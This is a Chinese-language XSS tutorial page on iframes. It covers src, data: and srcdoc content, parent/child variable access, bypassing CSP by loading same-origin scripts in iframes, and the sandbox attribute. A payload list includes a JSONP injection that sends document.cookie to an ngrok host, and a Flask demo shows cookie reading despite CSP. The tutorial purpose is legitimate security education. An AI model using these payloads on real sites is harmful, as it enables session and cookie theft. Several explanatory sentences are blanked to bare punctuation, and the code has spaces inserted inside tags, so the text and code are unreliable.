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# XSS中的iframes
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有3种方法可以指示iframed页面的内容：
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- 通过`src`指定URL（ ）
- 通过使用`data:`协议指定内容的`src`
- 通过指定内容的`srcdoc`
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**访问父级和子级变量**
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```html
< html >
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< script >
var secret = "31337s3cr37t";
< / script >
< iframe id = "if1" src = "http://127.0.1.1:8000/child.html" > < / iframe >
< iframe id = "if2" src = "child.html" > < / iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" > < / iframe >
< iframe id = "if4" src = "data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E" > < / iframe >
< script >
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
< / script >
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< / html >
```
```html
<!-- content of child.html -->
< script >
var secret="child secret";
alert(parent.secret)
< / script >
```
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如果您通过http服务器（ ） ， （ ） ， （ ）
请注意，
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### 带有CSP的iframe <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
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{% hint style="info" %}
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请注意， ，
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{% endhint %}
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`script-src` 的`self`值不允许使用`data:`协议或`srcdoc`属性执行JS代码。\
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然而， （ ）
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因此， ：
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```html
< html >
< head >
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< meta http-equiv = "Content-Security-Policy" content = "script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" >
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< / head >
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< script >
var secret = "31337s3cr37t";
< / script >
< iframe id = "if1" src = "child.html" > < / iframe >
< iframe id = "if2" src = "http://127.0.1.1:8000/child.html" > < / iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" > < / iframe >
< iframe id = "if4" src = "data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E" > < / iframe >
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< / html >
```
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请注意，**先前的 CSP 仅允许执行内联脚本**。\
然而，**只有 `if1` 和 `if2` 脚本将被执行，但只有 `if1` 能够访问父级秘密**。
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 ( 1 ) ( 1 ) . png > )
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因此，如果您可以上传一个 JS 文件到服务器并通过 iframe 加载它，**就有可能绕过 CSP， `script-src 'none'` **。这也可以**潜在地通过滥用同站点 JSONP 端点来实现**。
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您可以使用以下场景测试此功能，在即使使用了 `script-src 'none'` ，也可以窃取 cookie。只需运行应用程序并在浏览器中访问它：
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```python
import flask
from flask import Flask
app = Flask(__name__)
@app .route("/")
def index():
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resp = flask.Response('< html > < iframe id = "if1" src = "cookie_s.html" > < / iframe > < / html > ')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
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@app .route("/cookie_s.html")
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def cookie_s():
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return "< script > alert ( document . cookie ) < / script > "
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if __name__ == "__main__":
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app.run()
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```
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### 在野外发现的其他有效载荷 <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
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```html
<!-- This one requires the data: scheme to be allowed -->
< iframe srcdoc = '<script src="data:text/javascript,alert(document.domain)"></script>' > < / iframe >
<!-- This one injects JS in a jsonp endppoint -->
< iframe srcdoc = '<script src = "/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//" > < / script >
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?) -->
< iframe src = 'data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>' > < / iframe >
```
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### Iframe 沙盒
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通过使用 `sandbox` 属性，可以对 iframe 中的内容施加额外限制。默认情况下，此属性未应用，意味着没有任何限制。
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当使用时，`sandbox` 属性会施加几项限制：
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- 内容被视为来自唯一来源。
- 阻止任何尝试提交表单的行为。
- 禁止执行脚本。
- 禁用对某些 API 的访问。
- 防止链接与其他浏览上下文进行交互。
- 禁止使用 `<embed>` 、`< object > `、`< applet > ` 或类似标签的插件。
- 阻止内容自身导航到内容的顶级浏览上下文。
- 阻止自动触发的功能，如视频播放或自动对焦表单控件。
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该属性的值可以留空 (`sandbox=""`) 以应用所有上述限制。或者，可以将其设置为特定值的空格分隔列表，以免除 iframe 的某些限制。
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```html
< iframe src = "demo_iframe_sandbox.htm" sandbox > < / iframe >
```
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## SOP 中的 iframes
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检查以下页面：
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md ](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md )
{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md ](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md )
{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md ](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md )
{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md ](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md )
{% endcontent-ref %}
